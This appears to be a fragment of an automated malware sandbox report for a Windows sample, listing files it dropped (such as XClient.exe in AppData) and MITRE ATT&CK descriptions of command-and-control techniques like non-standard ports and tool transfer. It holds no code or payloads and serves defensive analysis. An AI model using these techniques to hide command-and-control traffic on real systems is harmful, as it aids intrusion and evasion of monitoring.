C:\Users\user\AppData\Roaming\XClient.exe

C:\Users\user\Downloads\Unconfirmed 798106.crdownload

C:\Users\user\Downloads\d109d188-88be-4347-b0fe-3dec135859cb.tmp

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Windows Analysis Report
CZxDiTktSY.exe

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre